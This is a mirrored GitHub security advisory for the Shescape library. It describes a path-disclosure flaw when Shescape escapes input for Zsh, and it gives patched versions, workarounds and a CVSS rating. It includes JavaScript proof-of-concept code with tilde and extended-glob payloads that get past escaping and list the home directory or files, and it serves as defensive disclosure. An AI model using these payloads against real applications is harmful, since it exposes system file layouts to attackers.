Shescape: Path disclosure on Unix with Zsh

### Impact This impacts users of Shescape on Unix systems that explicitly configure `shell` to Zsh, or `true` when the default shell is Zsh, using the `escape` and `escapeAll`. The Zsh options `EXTENDED_GLOB` and `MAGIC_EQUAL_SUBST` exacerbate the problem. In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information. #### Without option / with `MAGIC_EQUAL_SUBST` ```javascript import * as cp from "node:child_process"; import { Shescape } from "shescape"; // 1. Prerequisites const options = { shell: "zsh", // Or shell: true, // Only if the default shell is Zsh }; // 2. Payload const payload1 = ":~"; // Or const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST // 3. Usage const shescape = new Shescape(options); let escapedPayload; escapedPayload = shescape.escape(payload1); // Or escapedPayload = shescape.escapeAll([payload1]); // And (example) const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options); // Or escapedPayload = shescape.escape(payload2); // Or escapedPayload = shescape.escapeAll([payload2]); // And (example) const result2 = cp.execSync(`echo ${escapedPayload}`, options); // 4. Impact console.log("", result1.toString().trim(), "\n", result2.toString().trim()); // Outputs ":" followed by the user's home directory on one line and "a=" // followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next. ``` #### With `EXTENDED_GLOB` ```javascript import * as cp from "node:child_process"; import { Shescape } from "shescape"; // 1. Prerequisites const options = { shell: "zsh", // Or shell: true, // Only if the default shell is Zsh }; // And (example) // `setopt EXTENDED_GLOB` in ~/.zshenv // 2. Payload let payload; payload = "pa#ckage.json"; // Or payload = "^package.json~package-lock.json"; // Or payload = "^nonexistent"; // 3. Usage const shescape = new Shescape(options); let escapedPayload; escapedPayload = shescape.escape(payload); // Or escapedPayload = shescape.escapeAll([payload]); // And (example) const result = cp.execSync(`echo ${escapedPayload}`, options); // 4. Impact console.log(result.toString()); // Outputs files and directories in the current directory ``` ### Patches This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now. If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3. No patches will be released for version of Shescape lower than v2.0.0. ### Workarounds Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the `EXTENDED_GLOB` option is disabled, 3) remove all instances of `^`, `#`, and `~` from untrusted inputs. ### For more information - Comment on Pull Request [#2651] for v2 and [#2649] for v3 - Comment on commit [b4b34c3] for v2 and [43d70b5] for v3 - Open an issue at <https://github.com/ericcornelissen/shescape/issues> (New issue > Question)

Source published

24 Jul 2026 22:33:38 UTC

Source modified

27 Aug 2026 05:15:08 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE